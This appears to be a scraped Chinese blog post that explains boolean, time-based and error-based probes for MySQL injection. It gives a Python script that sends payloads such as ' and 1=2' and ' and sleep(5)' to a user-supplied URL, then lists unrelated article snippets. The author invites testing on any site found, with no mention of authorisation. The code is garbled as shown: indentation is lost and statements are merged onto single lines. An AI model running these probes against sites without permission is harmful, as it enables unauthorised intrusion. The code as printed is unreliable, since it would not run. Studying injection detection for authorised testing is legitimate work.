Python-编写一个mysql注入漏洞检测工具
判断mysql网站是否存在注入漏洞的几个方法:
- 注入点后加上一个单引号会报错
- and 1=1返回正常页面,and 1=2返回的页面不同于正常页面
- and sleep(3) 网页会等待3秒左右
根据返回的页面情况我们就能知道是否存在注入漏洞
要获取页面返回的结果是不是一样的,我们可以通过获取请求头中的Content-Length的长度来判断
知道这些后,我们就能来写个简单的python脚本
# -*- coding:utf-8 -*-
__author__ = "MuT6 Sch01aR" import requests
import argparse
import time def argparse_option():
parser = argparse.ArgumentParser(description='The Help of Mysql_Inject.py')
parser.add_argument('-u','--url',help='The Url To Check')
args = parser.parse_args()
return args def way_1(url):
payload = [' and 1=1',' and 1=2']
url_1 = url+payload[0]
url_2 = url+payload[1]
r = requests.get(url=url)
r_1 = requests.get(url=url_1)
r_2 = requests.get(url=url_2)
h = r.headers.get('Content-Length')
h_1 = r_1.headers.get('Content-Length')
h_2 = r_2.headers.get('Content-Length')
if h ==h_1 and h !=h_2:
print("[*] %s can be injected" %url)
else:
way_2(url) def way_2(url):
payload = ' and sleep(5)'
t1 = time.time()
requests.get(url=url+payload)
t2 = time.time()
if t2-t1 >5:
print("[*] %s can be injected" %url)
else:
way_3(url) def way_3(url):
payload = "'"
url_1 = url+payload
r = requests.get(url=url)
r_1 = requests.get(url=url_1)
h = r.headers.get('Content-Length')
h_1 = r_1.headers.get('Content-Length')
if h != h_1:
print("[*] %s can be injected" % url)
else:
print("[!] %s can't be injected" %url) if __name__ == '__main__':
cmd_args = argparse_option()
url = cmd_args.url
if url:
way_1(url)
else:
print("Usage:python3 main.py -u [url]")
找个站测试一下
这个脚本还只能检测一些简单的链接,多参数的还检测不了
Python-编写一个mysql注入漏洞检测工具的更多相关文章
- 如何编写一个SQL注入工具
0x01 前言 一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单.最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以. 0x02 SQL注 ...
- Metasploit是一款开源的安全漏洞检测工具,
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,适合于需要核实漏洞的安全专家,同时也适合于强大进攻能力的 ...
- Retina CS强大漏洞检测工具
RetinaCS强大漏洞检测工具 Eeye数字安全公司成立于上世纪九十年代末期,它是世界领先的安全公司,它采用最新研究成果和创新技术来保证您的网络兄系统安全,并向您提供最强大的如下服务:全面的.漏洞评 ...
- RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具
无事早上就去逛freebuf看到一款不错的工具,打算介绍给大家 RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具 RED HAWK 最新版本:v1.0.0[2017年6月11日] 下 ...
- 基于Python3的漏洞检测工具 ( Python3 插件式框架 )
目录 Python3 漏洞检测工具 -- lance screenshot requirements 关键代码 usage documents Any advice or sugggestions P ...
- 基于Python实现的死链接自动化检测工具
基于Python实现的死链接自动化检测工具 by:授客 QQ:1033553122 测试环境: win7 python 3.3.2 chardet 2.3.0 脚本作用: 检测系统中访问异常(请求 ...
- 用Python编写一个简单的Http Server
用Python编写一个简单的Http Server Python内置了支持HTTP协议的模块,我们可以用来开发单机版功能较少的Web服务器.Python支持该功能的实现模块是BaseFTTPServe ...
- 文件包含漏洞检测工具fimap
文件包含漏洞检测工具fimap 在Web应用中,文件包含漏洞(FI)是常见的漏洞.根据包含的文件不同,它分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFL).利用该漏洞,安全人员可以获取服务 ...
- 使用 python 编写一个授权登录验证的模块
使用 python 编写一个授权登录验证的模块 我们编写的思路: 1.登录的逻辑:如果用户名和密码正确,就返回 token . 2.生成 token 的逻辑,根据用户名,随机数,当前时间 + 2 小时 ...
随机推荐
- PHP 提高PHP性能的编码技巧以及性能优化
0.用单引号代替双引号来包含字符串,这样做会更快一些.因为PHP会在双引号包围的字符串中搜寻变量,单引号则不会,注意:只有echo能这 么做,它是 一种可以把多个字符串当作参数的“函数”(译注:PHP ...
- SSH 占用数据库连接不释放问题
SSH框架的项目在訪问数据库的时候.訪问完毕后一直占用链接,不释放.导致过了一段时间后,server没挂,就是有訪问数据库的连接是时候.一直卡住 解决的方法: 1.配置spring相应的hiber ...
- SM30维护视图创建【转】
在SAP中,经常需要自定义数据库表.而且可能需要人工维护数据库表中的数据,可以通过SM30进行维护数据:但是SM30事务的权限太大,不适宜将SM30直接分配:因此,可以通过给维护表分配事 ...
- sap ftp 处理
[转] SAP FTP Function 本文示例如何使用SAP FTP Function将文件从应用服务器传输到另外一个FTP服务器上. DATA: BEGIN OF ig_ftp_result O ...
- SAP内表转XML文件
今天有个兄弟问如何实现以XML的方式输出内表的内容,这个问题我以前好像没有写过.倒不是不会写,而是写的方法太多了,有极其简单的,也有很复杂的,而且网上资料也很多. 找到以前写的一个程序,稍微修改了一下 ...
- Broadcast Intent & Broadcast Receiver
当Android系统发生某种状况,必须通知所有程序进行处理时,例如电量不足等,可利用Broadcast Intent对象的功能来进行信息广播. 运行机制包括两部:送出Intent对象的程序:监听广播信 ...
- Linux LVM管理
创建和管理LVM 要创建一个LVM系统,一般需要经过以下步骤: 1. 创建分区 fdisk /dev/sdb 使用分区工具(如:fdisk等)创建LVM分区,方法和创建其他一般分区的方式是一样的,区别 ...
- Spark- Spark基本工作原理
Spark特点: 1.分布式 spark读取数据时是把数据分布式存储到各个节点内存中 2.主要基于内存(少数情况基于磁盘,如shuffle阶段) 所有计算操作,都是针对多个节点上内存的数据,进行并行操 ...
- CSS控制表格嵌套
网页设计应用中,当我们不能完全放弃表格的使用时,为了达到预期的效果,不免要用到表格嵌套(特别是多层嵌套)方式来进行布局.可能很多同仁都遇到过这样的问题,为了达到显示效果要为每一个(每一层)的表格写不同 ...
- 前端框架之VUE
vue学习[第1篇]:vue之指令 vue学习[第2篇]:es6简单介绍 vue学习[第3篇]:vue之node.js的简单介绍 vue学习[第4篇]:vue 之webpack打包工具的使用 vue学 ...